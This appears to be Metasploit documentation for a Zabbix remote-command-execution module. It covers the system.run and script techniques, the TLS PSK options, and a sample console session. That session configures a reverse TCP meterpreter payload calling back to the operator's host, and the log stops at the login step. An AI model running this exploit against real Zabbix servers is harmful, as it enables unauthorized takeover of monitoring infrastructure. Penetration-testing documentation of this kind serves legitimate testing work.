## Vulnerable Application ### Description Zabbix server allow remote command execution by two different way. The first way happen with the directive `AllowKey=system.run[*]` [[1]](https://blog.zabbix.com/zabbix-remote-commands/7500/#system.run). This directive is disabled by default, if an attacker already know Zabbix credentials and the directive is enabled, he can abuse this functionnality to take control over the Zabbix server. The second way is by creating a script [[2]](https://www.zabbix.com/documentation/devel/en/manual/web_interface/frontend_sections/administration/scripts) in Zabbix and use it on a host. ### Setup An easy way to setup a Zabbix server is to download and run their [appliance](https://www.zabbix.com/download_appliance). ## Verification Steps Follow [Setup](#setup) and [Scenarios](#scenarios). ## Targets ### 0 This uses a Linux dropper to execute code. ### 1 This executes a Unix command. ## Options ### TECHNIQUE #### script If this option is set, the exploit will try to use a script, in order to achieve RCE. #### item If this option is set, the exploit will try to use the key `system.run[*]` in an item, in order to achieve RCE, only works in Zabix >= 3.0. This only work on a non default Zabbix server configuration, where the directive `AllowKey=system.run[*]` is enabled in the `zabbix-agentd.conf` file. ### TLS_PSK Communication between an agent and the server can be encrypted with TLS using a PSK (pre-shared key). If the server is configured to enforce that, you have to get the key from the web interface (browse inside a host and navigate to `Encryption` tab) and specifiy it with this option, otherwise RCE is not gonna happen. ### TLS_PSK_IDENTITY This is also inside an host, in the `Encryption` tab. ## Scenarios ### Zabbix server from [VMWare](#setup). ``` msf6 > use exploit/multi/http/zabbix_script_exec [*] Using configured payload linux/x86/meterpreter/reverse_tcp msf6 exploit(multi/http/zabbix_script_exec) > set RHOSTS 192.168.0.130 RHOSTS => 192.168.0.130 msf6 exploit(multi/http/zabbix_script_exec) > set USE_ITEM true USE_ITEM => true msf6 exploit(multi/http/zabbix_script_exec) > set LHOST eth0 LHOST => 192.168.0.129 msf6 exploit(multi/http/zabbix_script_exec) > run [*] Started reverse TCP handler on 192.168.0.129:4444 [+] Sucessfully logged in [*] Getting a valid group id...
